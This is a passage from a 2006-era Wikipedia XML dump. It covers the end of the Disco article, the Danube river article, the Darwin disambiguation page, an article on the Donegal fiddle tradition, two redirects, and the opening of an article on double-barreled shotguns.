Finally, disco was largely succeeded for younger listeners by rap, which had started, by rapping over disco tracks. The first commercially popular rap hit was &quot;[[Rapper's Delight]]&quot;, which borrowed the bass line from Chic's &quot;Good Times&quot;. The two styles existed side by side for a few years, with rap sometimes being used in disco songs such as In Deep's &quot;Last Night A DJ Saved My Life&quot;. The two styles together also sparked off &quot;House Music&quot; or &quot;techno&quot; when Afrika Bambataa released the 1982 rap &quot;Planet Rock&quot;, which drew several elements from Kraftwerk's &quot;Trans-Europe Express&quot; and the previous year's &quot;Numbers&quot;. Electronic sounds in rap were eventually discarded in favor of a more &quot;raw&quot; hip-hop sound. However, the &quot;Planet Rock&quot; sound also spawned a non-&quot;hip-hop&quot; electronic dance trend, with such follow-ups as Planet Patrol's &quot;Play At Your own Risk&quot;, the same year, followed by &quot;One More Shot&quot; by C-Bank; and the following year, its popularity skyrocketed with Shannon's &quot;Let The Music Play&quot; Freeze's &quot;AEIOU&quot;, and Midnight Star's &quot;Freakazoid&quot;. Electronic Dance music or House Music (later called &quot;techno&quot;) had now emerged as its own genre, and this became the new &quot;disco&quot;, even though it was not addressed as such.

==&quot;Retro&quot; revival==
In the [[1990s]], a revival of the original disco style began and is exemplified by such songs as &quot;Lemon&quot; by [[U2]] (1993), &quot;Spend Some Time&quot; by [[Brand New Heavies]] (1994), &quot;Cosmic Girl&quot; by [[Jamiroquai]] (1996), &quot;Never Give Up on the Good Times&quot; by [[The Spice Girls]] (1997), and &quot;Strong Enough&quot; by [[Cher (entertainer)|Cher]] (1998) (who had also released disco songs in the seventies).

During the first half of the [[2000s]], there were releases by a number of artists including &quot;Spinning Around&quot; and &quot;Love at First Sight&quot; by [[Kylie Minogue]] (2001), &quot;I Don't Understand It&quot; by [[Ultra Nate]] (2001), &quot;Crying at the Discoteque&quot; by [[Alcazar]]    
(2001), &quot;Love Foolosophy&quot; by [[Jamiroquai]] (2001), &quot;Murder on the Dancefloor&quot; by [[Sophie Ellis-Bextor]] (2001), and &quot;Love Invincible&quot; by [[Michael Franti and Spearhead]] (2003) that channeled classic disco music.

Most recently, [[Madonna (entertainer)|Madonna]] has used disco themes in her latest album, ''[[Confessions on a Dancefloor|Confessions on a Dance Floor]]'' (2005). Her single &quot;[[Hung Up]]&quot;, notably samples ABBA's &quot;Gimme! Gimme! Gimme! (A Man After Midnight)&quot;.

==Radio==
Currently, most radio stations that play dance music or '70s-era music will play this music and related forms such as [[funk]] and [[Philadelphia soul]] at some point in their playlists; both major satellite radio companies also have disco music stations in their lineup. However, dance music stations in general are not known for having high ratings.

==See also==
{{wikiquote}}
* [[List of disco artists (A-K)]], [[List of disco artists (L-Z)]]
* [[Saturday Night Fever]] - 1977 film about New York's disco sub-culture starring [[John Travolta]].
*[[Disco orchestration]].

==Sources==
* Michaels, Mark (1990). ''The Billboard Book of Rock Arranging''. ISBN 0823075370.
* Jones, Alan and Kantonen, Jussi (1999). ''Saturday Night Forever: The Story of Disco''. Chicago, Illinois: A Cappella Books. ISBN 1556524110.
* Brewster, Bill and Broughton, Frank (1999) ''Last Night a DJ Saved my Life: the History of the Disc Jockey'' Headline Book Publishing Ltd. ISBN 0747262306
* Lawrence, Tim (2004). ''Love Saves the Day: A History of American Dance Music Culture, 1970-1979 ''. Duke University Press. ISBN 0822331985.

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    <title>Double stops</title>
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      <minor />
      <comment>oops</comment>
      <text xml:space="preserve">#redirect [[Double stop]]</text>
    </revision>
  </page>
  <page>
    <title>Danube</title>
    <id>7969</id>
    <revision>
      <id>41616869</id>
      <timestamp>2006-02-28T15:22:22Z</timestamp>
      <contributor>
        <username>TimBentley</username>
        <id>531594</id>
      </contributor>
      <minor />
      <comment>fix links to dab page</comment>
      <text xml:space="preserve">: ''For other uses of &quot;Danube&quot;, see [[Danube (disambiguation)]].''

{{Infobox_river | river_name = Danube
  | image_name = Danube at Budapest, Margit Bridge.jpg
  | caption = The Danube at [[Budapest]]
  | origin = [[Black Forest]] ([[Schwarzwald-Baar]], [[Baden-Württemberg|Baden-Württemberg]], [[Germany]])
  | mouth = [[Black Sea]] ([[Romania]] and [[Ukraine]])
  | basin_countries = [[Romania]] (28.9%), [[Hungary]] (11.7%), [[Austria]] (10.3%), [[Serbia and Montenegro|Serbia and  Montenegro]] (10.3%), [[Germany]] (7.5%), [[Slovakia]] (5.8%), [[Bulgaria]] (5.2%), [[Bosnia and Herzegovina]] (4.8%), [[Croatia]] (4.5%), [[Ukraine]] (3.8%), [[Czech Republic|Czech Republic]] (2.6%), [[Slovenia]] (2.2%), [[Moldova]] (1.7%), [[Switzerland]] (0.32%), [[Italy]] (0.15%), [[Poland]] (0.09%), [[Albania]] (0.03%)
  | length = 2,888 km ¹ 
  | elevation = 1,078 m ²
  | discharge = 30 km before [[Passau]]: 580 m&amp;sup3;/s&lt;br /&gt;[[Vienna]]: 1,900 m&amp;sup3;/s&lt;br /&gt;[[Budapest]]: 2,350 m&amp;sup3;/s&lt;br /&gt;[[Belgrade]]: 4,000 m&amp;sup3;/s&lt;br/&gt;just before [[Danube Delta|Delta]]: 6,500 m&amp;sup3;/s
  | watershed = 817,000 km&amp;sup2;
}}

The '''Danube''' ({{lang-de|Donau}}, [[Slovak language|Slovak]]: ''Dunaj'', {{lang-hu|Duna}}, [[Croatian language|Croatian]]: ''Dunav'',  [[Serbian language|Serbian]]: ''Дунав''/''Dunav'', [[Bulgarian language|Bulgarian]]: ''Дунав'', {{lang-ro|Dunăre}}, {{lang-uk|Дунай/Dunay}}, [[Latin language|Latin]]: ''Danuvius''', [[Turkish language|Turkish]]: ''Tuna'') is [[Europe]]'s second-longest [[river]] (after the [[Volga River|Volga]]).

It rises in the [[Black Forest]] in [[Germany]] as two smaller rivers &amp;ndash; the [[Brigach]] and the [[Breg]] &amp;ndash; which join at [[Donaueschingen]], and it is from here that it is known as the Danube, flowing south-eastwards for a distance of some 2850 km (1771 miles) before emptying into the [[Black Sea]] via the [[Danube Delta]] in [[Romania]].

The Danube has been an important international waterway for centuries, as it remains today. Known to history as one of the long-standing frontiers of the [[Roman Empire]], the river flows through &amp;ndash; or forms a part of the borders of &amp;ndash; ten countries: [[Germany]], [[Austria]], [[Slovakia]], [[Hungary]], [[Croatia]], [[Serbia and Montenegro]], [[Bulgaria]], [[Romania]], [[Moldova]], and [[Ukraine]].

The Danube flows through the following large cities:

*[[Ulm]] - [[Germany]]
*[[Ingolstadt]] - [[Germany]]
*[[Regensburg]] - [[Germany]], capital of [[Upper Palatinate]]
*[[Passau]] - [[Germany]]
*[[Linz]] - [[Austria]], capital of [[Upper Austria]]
*[[Krems]] - [[Austria]]
*[[Vienna]] - capital of [[Austria]], where the Danube floodplain is called the [[Lobau]]
*[[Bratislava]] - capital of [[Slovakia]]
*[[Budapest]] - capital of [[Hungary]]
*[[Vukovar]] - [[Croatia]]
*[[Novi Sad]] - capital of the [[Serbia and Montenegro|Serbian-Montenegrin]] province of [[Vojvodina]]
*[[Belgrade]] - the capital of [[Serbia and Montenegro]]
*[[Drobeta-Turnu Severin]] - [[Romania]]
*[[Vidin]] - [[Bulgaria]]
*[[Ruse, Bulgaria|Ruse]] - Bulgaria
*[[Brăila]] - [[Romania]]
*[[Galaţi]] - [[Romania]]
*[[Tulcea]] - [[Romania]]&lt;br&gt;
&lt;br&gt;
==Tributaries==
The Danube's tributary rivers reach into seven other countries. Some Danubian tributaries are important rivers in their own right, navigable by barges and river boats of shallow draught. Ordered from source to mouth, the main tributaries are:
:[[Iller]] - [[Lech River|Lech]] - [[Regen River|Regen]] (entering at [[Regensburg]]) - [[Isar]] - [[Inn River|Inn]] (entering at [[Passau]]) - [[Enns River|Enns]] - [[Morava River, Central Europe|Morava]] - [[Leitha]] - [[Váh]] (entering at [[Komárno]]) - [[Hron]] - [[Ipel]] - [[Sió]] - [[Drava]] - [[Vuka]] - [[Tisza]] - [[Sava]] (entering at [[Belgrade]]) - [[Tamiš]] - [[Velika Morava]] - [[Caraş River|Caraş]] - [[Jiu River|Jiu]] - [[Iskar]] - [[Olt River|Olt]] - [[Vedea River|Vedea]] - [[Argeş River|Argeş]] - [[Ialomiţa River|Ialomiţa]] - [[Siret River|Siret]] - [[Prut River|Prut]]

==Modern navigation==
The Danube is navigable by ocean ships from the Black Sea to [[Braila|Brăila]], in [[Romania]] and by river ships to [[Kelheim]]; smaller craft can navigate further upstream to [[Ulm]], in Germany. About 60 of its tributaries are also navigable. See [[Danube-Black Sea Canal]].

Since the construction of the German [[Rhine-Main-Danube Canal]] in [[1992]], the river has been part of a trans-European waterway from [[Rotterdam]] on the [[North Sea]] to [[Sulina]] on the Black Sea (3500 km). In 1994 the Danube was declared one of ten [[Pan-European corridors|Pan-European transport corridors]], routes in Central and Eastern Europe that required major investment over the following ten to fifteen years. The amount of goods transported on the Danube increased to about 100 million tons in [[1987]]. In [[1999]], transport on the river was made difficult by the NATO bombing of 3 bridges in [[Serbia and Montenegro]]. The clearance of the debris was finished in [[2002]]. The temporary pontoon bridge that hampered navigation was finally removed in 2005.

At the [[Iron Gate (Danube)|Iron Gate]], the Danube flows through a [[gorge]] that forms part of the boundary between [[Serbia]] and [[Romania]]; it contains two [[hydroelectricity|hydroelectric]] [[dams]], [[Đerdap]] I and [[Đerdap]] II.

The [[Danube-Black Sea Canal]] shortens the distance to the Black Sea by 400 km and another canal in Romania, while the [[Danube-Bucharest Canal]] (unfinished) is supposed to link Danube to [[Bucharest]]. In Serbia and Montenegro there is Dunav-[[Tisa]]-Dunav channel as well.

[[Image:Danubemap.JPG|thumb|right|290px|A map showing the Danube]]

==The Danube delta==
:''Main article [[Danube Delta]]''.
The Danube Delta has been a [[UNESCO World Heritage Site]] since 1991. Its wetlands (on the [[Ramsar list of wetlands of international importance]]) support vast flocks of migratory birds, including the endangered [[Pygmy Cormorant]] (''Phalacrocorax pygmaeus''). Rival canalization and drainage scheme threaten the delta: see [[Bastroe Channel]].

==Geology==
Although the headwaters of the Danube are relatively small today, geologically, the Danube is much older than the [[Rhine]], with which its catchment area competes in today's southern Germany. This has a few interesting geological complications. Since the Rhine is the only river rising in the [[Alps]] mountains which flows north towards the [[North Sea]], an invisible line divides large parts of southern Germany, which is sometimes referred to as the [[European Watershed]].

However, before the last [[ice age]] in the [[Pleistocene]], the Rhine started at the southwestern tip of the Black Forest, while the waters from the Alps that today feed the Rhine were carried east by the so-called ''Urdonau'' (original Danube). Parts of this ancient river's bed, which was much larger than today's Danube, can still be seen in (now waterless) canyons in today's landscape of the [[Swabian Alb]]. After the [[Upper Rhine Valley]] had been eroded, most waters from the Alps changed their direction and began feeding the Rhine. Today's upper Danube is but a meek reflection of the ancient one.

Since the [[Swabian Alb]] is largely shaped of porous [[limestone]], and since the Rhine's level is much lower than the Danube's, today subsurface rivers carry much water from the Danube to the Rhine. On many days in the summer, when the Danube carries little water, it completely oozes away noisily into these underground channels at two locations in the Swabian Alp, which are referred to as the ''Donauversickerung'' (Danube Sink). Most of this water resurfaces only 12 km south at the [[Aachtopf]], Germany's wellspring with the highest flow, an average of 8,000 liters per second, north of [[Lake Constance]] - thus feeding the Rhine. The European Water Divide thus in fact only applies for those waters that pass beyond this point, and only during the days of the year when the Danube carries enough water to survive the sink holes in the Donauversickerung.

Since this enormous amount of underground water erodes much of its surrounding limestone, it is estimated that the Danube upper course will one day disappear entirely in favor of the Rhine, an event called [[Stream capture|stream capturing]].

==Human history==
[[Image:Ulm2-midsize.jpg|thumb|right|200px|Danube in Ulm, where it separates Ulm in [[Baden-Württemberg]] and [[Neu-Ulm]] in [[Bavaria]].]]
The Danube basin contains sites of the earliest human cultures: the [[Danubian|Danubian Neolithic]] cultures include the [[Linear Pottery Culture]]s of the mid-Danube basin (see also [[Linear Ceramic culture]]) The [[Vucedol culture]] of the third millennium BC is famous for their ceramics. Later, many sites of the [[Vinca culture]] are sited along the Danube.  The river was part of the Roman empire's [[Limes Germanicus]].

Of importance for the Danube is also the [[International Commission for the Protection of the Danube River]] (ICPDR). The ICPDR is an international organisation consisting of 13 member states (Germany, Austria, [[Czech Republic]], Slovakia, [[Slovenia]], Hungary, Croatia, [[Bosnia and Herzegovina]], Serbia and Montenegro, Bulgaria, Romania, Moldova, Ukraine) and the [[European Union]]. ICPDR, established in 1998, deals not only with the Danube itself, but with the whole Danube River Basin, which includes also its tributaries and the ground water resources. The goal of the ICPDR is to implement the Danube River Protection Convention, promoting and coordinating sustainable and equitable water management, including conservation, improvement and rational use of waters for the benefit of the Danube River Basin countries and their people.

==Cultural significance==
[[Image:MariaValeriaBridge.jpg|thumb|left|At [[Esztergom]] and  [[Štúrovo]], the Danube separates [[Hungary]] from [[Slovakia]].]]
The Danube is mentioned in the title of a famous [[waltz]] by [[Austria]]n [[composer]] [[Johann Strauss II|Johann Strauss]], ''[[The Blue Danube|An der schönen, blauen Donau]]'' (''By the Beautiful Blue Danube'').

Another famous [[waltz]] about the Danube is ''[[The Waves of the Danube]]'' ([[Romanian]]: ''Valurile Dunării'') by the Romanian composer [[Ion Ivanovici]] (1845-1902), and the work took the audience by storm when performed at the 1889 [[Paris Exposition]].

The German tradition of landscape painting, the [[Danube school]], was developed in the Danube valley in the [[16th century]].

The most famous book describing the Danube ought to be Claudio Magris's masterpiece ''Danube'' (ISBN 1860468233).

==Economics of the Danube==
===Drinking water===
[[Image:danube_bratislava.jpg|thumb|right|200px|The Danube at Bratislava.]]
Along its path, the Danube is a source of drinking water for about ten million people. In [[Baden-Württemberg]], [[Germany]], almost thirty percent (''[[As of 2004]]'') of the water for the area between [[Stuttgart]], [[Bad Mergentheim]], [[Aalen]] and the [[Alb-Donau-Kreis]] comes from purified water of the Danube. Other cities like [[Ulm]] and [[Passau]] also use some water from the Danube.

In [[Austria]] and [[Hungary]], most water comes from ground and spring sources, and only in rare cases is water from the Danube used. Most states also find it too difficult to clean the water because of extensive pollution; only parts of [[Romania]] where the water is cleaner still use a lot of drinking water from the Danube.

===Navigation and transport===
As &quot;Corridor VII&quot; of the [[European Union]], the Danube is an important transport route. Since the opening of the [[Rhine-Main-Danube Canal]], the river connects the Black Sea with the industrial centers of Western Europe and with the Port of [[Rotterdam]]. The waterway is designed for large scale inland vessels (110 by 11,45 meters) but it can carry much larger vessels on most of it's course. The Danube has been partly canalized in Germany (5 locks) and Austria (10 Locks). Further plans to build a number of new locks in order to improve navigation have been blocked by environmentalists, in spite of the general consensus about the positive effects of inland waterway transport in comparison with road and rail. 

[[Image:Frozen_Danube_Reichsbrücke.JPG|thumb|250px|A look upstream from the [[Donauinsel]] in [[Vienna]], [[Austria]] during an unusually cold winter ([[February 2006]]). A frozen Danube is a phenomenon experienced only once or twice in a lifetime. ([[:Image:Frozen_Danube_Reichsbrücke.JPG|Details]])]]
Downstream from the Freudenau Locks in Vienna, canalization of the Danube was limited to the Gabcikovo dam and locks near Bratislava and the two double Iron Gate locks in the border stretch of the Danube between Serbia and Romania. These locks have larger dimensions (similar to the locks in the Russian [[Volga]] river, some 300 by over 30 meters). Downstream of the Iron Gate, the river is free flowing all the way to the Black Sea, a distance of more than 860 kilometers.

The Danube connects with the Rhine-Main-Danube Canal at Kelheim, and with the Wiener Donaukanal in Vienna. Apart from a couple of secundary navigable branches, the only major navigable rivers linked to the Danube are the Drava, Sava and Tisza. In Serbia, a canal network also connects to the river; the network, known as the Duna-Tisza-Duna canals, links sections downstream and upstream of the Tisza mouth with this tributary of the Danube. (Source: [http://www.noordersoft.com/indexen.html  NoorderSoft Waterways Database)]

===Fishing===
The importance of fishing on the Danube, which used to be critical in the [[Middle Ages]], has declined dramatically. Some fishermen are still active at certain points on the river, and the [[Danube Delta]] still has an important industry.

==Tourism==
There are many important tourist and natural spots along the Danube, including the [[Wachau]] valley, the [[Nationalpark Donau-Auen]] in Austria, the [[Naturpark Obere Donau]] in [[Germany]],[[Kopacki rit]] in [[Croatia]], [[Iron Gates]] (Danube [[Gorge]]) and [[Danube Delta]] in [[Romania]].

==Notes==
¹ Length from the source of the [[Breg]].

² Source of the [[Breg]].

==External links==
{{Commons|Danube}}
* [http://danubepanorama.net/en/ Dun.AV - The Danube Panorama Project]
* [http://www.showcaves.com/english/de/karst/Donauversickerung.html Danube Sink]
* [http://www.showcaves.com/english/de/springs/Aach.html Aachtopf spring]
* [http://www.deltadunarii.ro The Danube Delta]
* Danube Basin [http://www.panda.org/graphics/fw-rivers/maps/DANUBE%20MAP.gif Map (GIF - 257 KB)], [http://pdf.wri.org/watersheds_2000/watersheds_europe_p2_38.pdf Map+info, PDF]
* [http://www.danubecooperation.org Danube Portal]
* [http://www.icpdr.org International Commission for the Protection of the Danube River]
* [http://www.theister.com 'The Ister': A 2840km documentary film journey up the Danube]
* [http://www.dpc-belgrade.co.yu Danube Project Centre / Inland Waterway Transport on the Danube river]
* [http://www.danube-river.org The Danube / Danube Tourist Commission | A River's lure]
* [http://dbridges.fw.hu DANUBE-BRIDGES | Hungarian]
* [http://orsova.xhost.ro/ Historical images of Orsova and Danube river]

[[Category:Bačka]]
[[Category:Banat]]
[[Category:Danube]]
[[Category:Geography of Serbia]]
[[Category:Geography of Vojvodina]]
[[Category:Rivers of Austria]]
[[Category:Rivers of Bulgaria]]
[[Category:Rivers of Croatia]]
[[Category:Rivers of Germany]]
[[Category:Rivers of Hungary]]
[[Category:Rivers of Romania]]
[[Category:Rivers of Serbia and Montenegro]]
[[Category:Rivers of Slovakia]]
[[Category:Srem/Srijem]]

{{Link FA|de}}

[[als:Donau]]
[[ar:دانوب]]
[[ast:Danubiu]]
[[be:Дунай]]
[[bg:Дунав]]
[[bs:Dunav]]
[[ca:Danubi]]
[[cv:Дунай (юханшыв)]]
[[cs:Dunaj]]
[[cy:Afon Donaw]]
[[da:Donau]]
[[de:Donau]]
[[et:Doonau]]
[[es:Danubio]]
[[eo:Danubo]]
[[fa:دانوب]]
[[fr:Danube]]
[[ga:An Danóib]]
[[gl:Río Danubio]]
[[ko:다뉴브 강]]
[[hr:Dunav]]
[[id:Donau]]
[[is:Dóná]]
[[it:Danubio]]
[[he:דנובה]]
[[la:Danubius]]
[[lv:Donava]]
[[lt:Dunojus]]
[[hu:Duna]]
[[mk:Дунав]]
[[nl:Donau]]
[[nds:Donau]]
[[ja:ドナウ川]]
[[no:Donau]]
[[os:Дунай (цæугæдон)]]
[[pl:Dunaj]]
[[pt:Rio Danúbio]]
[[ro:Dunăre]]
[[ru:Дунай (река)]]
[[sh:Dunav]]
[[simple:Danube]]
[[sk:Dunaj]]
[[sl:Donava]]
[[sr:Река Дунав]]
[[fi:Tonava]]
[[sv:Donau]]
[[tr:Tuna nehri]]
[[uk:Дунай]]
[[zh:多瑙河]]</text>
    </revision>
  </page>
  <page>
    <title>Darwin</title>
    <id>7970</id>
    <revision>
      <id>40886706</id>
      <timestamp>2006-02-23T17:48:52Z</timestamp>
      <contributor>
        <username>Ieuan Friend</username>
        <id>980633</id>
      </contributor>
      <text xml:space="preserve">Various places, things, and persons are associated with '''Darwin'''. The word &quot;Darwin&quot;,  when used alone, has several possible meanings in the [[English language]], many of which are associated with the pre-eminent naturalist [[Charles Darwin]] who became famous as a result of his theory of the [[evolution]] of [[The Origin of Species|species]] via [[natural selection]].  In the list below, confirmed namesakes of Charles Darwin are denoted by asterisks (*).

'''People:'''
* [[Charles Darwin]] (1809&amp;ndash;1882), renowned naturalist and thinker.
* [[Erasmus Darwin]] (1731&amp;ndash;1802), Charles' grandfather, himself a naturalist and doctor.
* [[George Darwin]] (1845&amp;ndash;1912), Charles' son. Astronomer and mathematician.
* [[Leonard Darwin]] (1850&amp;ndash;1943), Charles' son. Economist, eugenicist, and politician.
* [[Mike Darwin]] (1955&amp;ndash;), [[cryonics]] pioneer, writer, leader and scientific researcher.
* [[Charles Galton Darwin]] (1887&amp;ndash;1962), George's son. Mathematician, physicist and eugenicist.
* ...and other members of the [[Darwin — Wedgwood family]].
* [[Darwin (dolphin)]], a fictional crewmember in the television series ''[[seaQuest DSV]]''.

'''Places:'''

''Australia'':
* [[Darwin, Northern Territory]]*, a regional Australian city, and capital of the Northern Territory.
* [[Charles Darwin National Park]]*, large nature reserve in Northern Territory 
* [[Darwin Meteorite Impact Crater]]*, Western Tasmania.
* [[Darwin, Tasmania]]*, &lt;!-- Townsite,--&gt; Western Tasmania.
* [[Mount Darwin, Tasmania]]*, mountain in Tasmania
* [[Darwin Dam, Tasmania]]*, a [[Hydro Tasmania]] Dam

''United States'':
* [[Mount Darwin (California)]]*, mountain in California
* [[Darwin, Minnesota]], a small town in Minnesota
* [[Darwin, California]], a tiny settlement in California
* [[Darwin, Ohio]]

''Other places'':
* [[Darwin (volcano)]]*, a volcano on the [[Galápagos Islands]]
* [[Mount Darwin, Zimbabwe]], town in Zimbabwe
* [[Darwin, Falkland Islands]]*, a small town in the Falkland Islands
* [[Mount Darwin (Andes)]]*, mountain in the Andes Mountains.
* [[Darwin Mountains]], mountain range in Antarctica.
* [[Darwin Glacier]], a glacier in Antarctica.

'''Institutions:'''
* [[Charles Darwin University]]*, University in Darwin, Northern Territory, previously known as Northern Territory University.
* [[Darwin College, Cambridge]]*
* Darwin College, the name of a fictional University in the [[Marx Brothers]] films.

'''Computing:'''
* [[Darwin (operating system)]], an operating system that Mac OS X builds upon
* [[Darwin (programming game)]], a programming game developed in the 1960s
* [[Darwin VII]], a new generation A.I. robot developed by the [[Neurosciences Institute]] (NSI).
* [[Darwin (ADL)]], an architectural description language ([[ADL]])
* [[Darwin 3]], a supplier orientated order management system used for EDI

'''Other uses:'''
* [[Darwin (ESA)]], a multiple-satellite project planned by the European Space Agency
* [[Darwin Medal]]*, awarded by the Royal Society
* [[Darwin Awards]]*, for people who help the gene pool by dying through their own stupidity
* [[Darwin fish]]*, a well-known parody of the ''ichthys'' symbol (a.k.a. the &quot;Jesus fish&quot;)
* [[RRS Charles Darwin]]*, a research vessel of the UK [[Natural Environment Research Council]]
* [[Darwin's finches]]*, the genus of finches Darwin studied during his visit to the [[Galápagos Islands]]
* ''[[Darwin (album)|Darwin]]'', an LP released in [[1972]] by [[Italian music|Italian]] [[progressive rock]] band [[Banco del Mutuo Soccorso]].

{{disambig}}

[[ca:Darwin]]
[[de:Darwin]]
[[es:Darwin]]
[[eo:Darwin (apartigilo)]]
[[fr:Darwin]]
[[ko:다윈]]
[[it:Darwin]]
[[nl:Darwin]]
[[ja:ダーウィン]]
[[nn:Darwin]]
[[pl:Darwin (strona ujednoznaczniająca)]]
[[pt:Darwin]]
[[ru:Дарвин]]
[[sk:Darwin]]
[[fi:Darwin]]
[[sv:Darwin]]</text>
    </revision>
  </page>
  <page>
    <title>Dinoflagellates</title>
    <id>7971</id>
    <revision>
      <id>15906004</id>
      <timestamp>2002-07-16T00:00:44Z</timestamp>
      <contributor>
        <username>Josh Grosse</username>
        <id>517</id>
      </contributor>
      <minor />
      <comment>Making singular</comment>
      <text xml:space="preserve">#REDIRECT [[Dinoflagellate]]</text>
    </revision>
  </page>
  <page>
    <title>Donegal fiddle tradition</title>
    <id>7973</id>
    <revision>
      <id>40852389</id>
      <timestamp>2006-02-23T12:33:07Z</timestamp>
      <contributor>
        <username>Afn</username>
        <id>392574</id>
      </contributor>
      <comment>Major reorganisation and rewrite. More References to come!</comment>
      <text xml:space="preserve">The '''Donegal fiddle tradition''' is a kind of [[Irish traditional music]], based on a tradition, or set of coexisting traditions, at least 200 years old, of playing the [[fiddle]] in [[County Donegal]], [[Ireland]].  Donegal is a remote, partly [[Irish language|Irish]]-speaking county in northwestern Ireland and one of the three counties of the northern Irish province of [[Ulster]] that are part of the [[Republic of Ireland]].  Donegal's tradition of fiddle playing has completely eclipsed other instrumental traditions in the county.

There is a so-called Donegal style of fiddling, though one also might plausibly identify several different, but related, styles within the county.  To the extent to which there is one common style in the county, it is characterized by a rapid pace; a tendency to be more straight-ahead (unswung) in the playing of the fast dance tune types ([[reel (dance)|reel]] and [[jig]]s); short (one-note-per-bowstroke), aggressive bowing; relatively sparse ornamentation; the use of bowed triplets (also known as trebles) more often than rolls (an ornament like a turn) as ornaments; the use of double stops and droning (playing on more than one string at once); and the occurrence of &quot;playing the octave&quot;, with one player playing the medley and the other playing the medley an octave lower.  None of these characteristics is universal, and there is some disagreement as to the extent to which there is a common style at all.  But in general, aggressive and lively fiddling is very often heard in Donegal, which many listeners find exciting.  Donegal styles have been influenced to a great extent by southern Irish styles as well as [[Music of Scotland|Scottish]] and [[Shetland Islands|Shetland Island]] styles and repertoire, and by the sounds, ornaments, and repertoire of the Highland [[bagpipe|bagpipes]] (the so-called Scottish warpipes).  

Another feature of Donegal fiddling that makes it distinctive among Irish musical traditions is the variety of rare tune types that are played.  Highlands, a 4/4 type of tune based on Scottish [[strathspeys]], which are also played in Donegal, are one of the most commonly played types of tune in the county.  Other tune types common in the county, but relatively uncommon elsewhere, include barndances, also called &quot;germans,&quot; and [[mazurka]]s.

==History==

[[Image:Donegalmap.jpg|right|thumb|Map showing the geography and some of the different regions of Donegal.]]There are, of course, a number of different strands to the history of fiddle playing in County Donegal.  Perhaps the best-known and, in the last half of the twentieth century, the most influential has been that of the Doherty family.  [[Hugh Doherty (fiddler)|Hugh Doherty]] is the first known musician of this family.  Born in 1790, he headed an unbroken tradition of fiddlers and pipers in the Doherty family until the death, in [[1980 in music|1980]], of perhaps the best-known Donegal fiddler, [[John Doherty (fiddler)|John Doherty]].  John, a travelling tinsmith, was known for his extremely precise and fast finger- and bow-work and vast repertoire, and is considered by many to be one of the greatest Irish fiddlers ever recorded.  John's older brother, Mickey, was also recorded and, though Mickey was another of the great Irish fiddlers, his reputation has been overshadowed by John's. 

As said before, there has been no single Donegal style but several distinctive styles. These styles traditionally come from the geographical isolated regions of Donegal including [[Inishowen]], [[East Donegal]], [[The Rosses]] and [[Gweedore]], [[Croaghs]], [[Teelin]], [[Kilcar]], [[Glencolmcille]], [[Ballyshannon]] and [[Bundoran]]. Even with improved communications and transport, these regions still have recognisably different ways of fiddle playing. Famous players, now dead, of the older Donegal styles include Neillidh (&quot;Neilly&quot;) Boyle, Francie Byrne, Con Cassidy, and Frank Cassidy. A great fiddler from Donegal who bears mention, but who did not play in a traditional Donegal style, was [[Hugh Gillespie]]. Some great living Donegal fiddlers, include [[James Byrne (musician)|James Byrne]], [[Vincent Campbell]], [[John Gallagher (fiddler)|John Gallagher]], [[Paddy Glackin]], [[Danny O'Donnell (fiddler)|Danny O'Donnell]], and [[Tommy Peoples]]. 

==Modern Players==

[[Image:Muintiraltan.gif|left|thumb|The current line-up of well known Donegal band '''Altan'''.]]
The popularity of fiddle playing continues in Donegal. Among the many younger players, the three fiddlers of the Donegal &quot;supergroup&quot; [[Altan]], [[Mairéad Ní Mhaonaigh]], [[Paul O'Shaughnessy]], and [[Ciarán Tourish]], are commonly regarded as brilliant, as are Mick Brown, Martin Mcginley, Dermot Mclaughlin, and others too numerous to mention by name.  Finally, although he is not known as a fiddle player, [[Dermot Byrne]], the [[button accordion]] player currently with Altan, has a style and repertoire that is firmly within the Donegal instrumental tradition; he is widely regarded as one of the finest button accordion players in Ireland.  [[Liz Doherty]] is the youngest member of this tradition. Her album &quot;Last Orders&quot; appeared in 1999.

The fiddle, and traditional music in general, has remained popular in Donegal not just because of the international success of certain artist, because of local pride in the music. Traditional music ''[[Irish traditional music session|Seisiúns]]'' are still common place both in [[pubs]] and in houses, even outside the tourist season. Music is still taught by the family members or by neighbours keeping regional styles alive and distinct. The Donegal fiddle music has been influence by [[recorded music]] but this is thought by many players as having a positive effect on the music, varying the techniques used and broadening its repretoire tunes.


==References==

''The Companion to Irish Traditional Music'', Edited by Valley, F., Cork University Press, 1999

[[Category:Irish music]]</text>
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  <page>
    <title>Double-barreled shotgun</title>
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      <text xml:space="preserve">A '''double-barreled shotgun''' is a [[shotgun]] with two barrels, unlike single-barrelled shotguns capable of multiple shots such as [[pump action shotgun]]s or [[semi-automatic shotgun]]s. Most have two triggers, one for each barrel. When the shooter pulls both triggers together, both cartridges will fire, resulting in a wider spread of shot. Alternatively, a shooter can pull the triggers sequentially to fire two ordinary shotgun blasts in close succession. Usually, one of the barrels will have greater &quot;choke&quot; than the other, which is a more pronounced reduction of the inner radius of the barrel near the muzzle, giving a narrower spread of shot from that barrel.  This enables the shooter to use the unchoked barrel for closer shots and the choked barrel for more distant shots, making the gun more versatile.

Although double-barrelled shotguns are capable of firing two shots in very rapid succession, they then require a time-consuming reload. (Although in recent years, automatic shot ejectors have been implemented into the design, reducing reloading to just sticking the shells in without having to pull the used shells out.) In general, the entire barrel is hinged to the stock and the cartridges are changed at the base of the barrel while the gun is in the open position.  The double-barreled shotgun is therefore an excellent tool for many [[hunting]], pest control or home defense applications, but may be less useful for police force or military applications.

An &quot;over and under&quot; shotgun (or a [[Bock-type]] shotgun) is a type of double barreled shotgun in which the barrels sit one on top of the other (contrast with the &quot;side by side&quot; shotgun, in which the two barrels lie beside each other). The latter is the most classic archetypical image of what a shotgun should look like. &quot;Over and under&quot; shotguns often have only one trigger, which fires the two barrels successively. They are often used for sporting competitons such as [[trap shooting]] or [[Skeet shooting|skeet]], since for those sports, the barrels' difference in elevation is considered less of a problem than the difference in windage from side-by-side shotguns. Elaborately decorated, precision engineered over-and-under guns are among the most expensive of all [[firearms]], and were once a traditional present to statesmen.

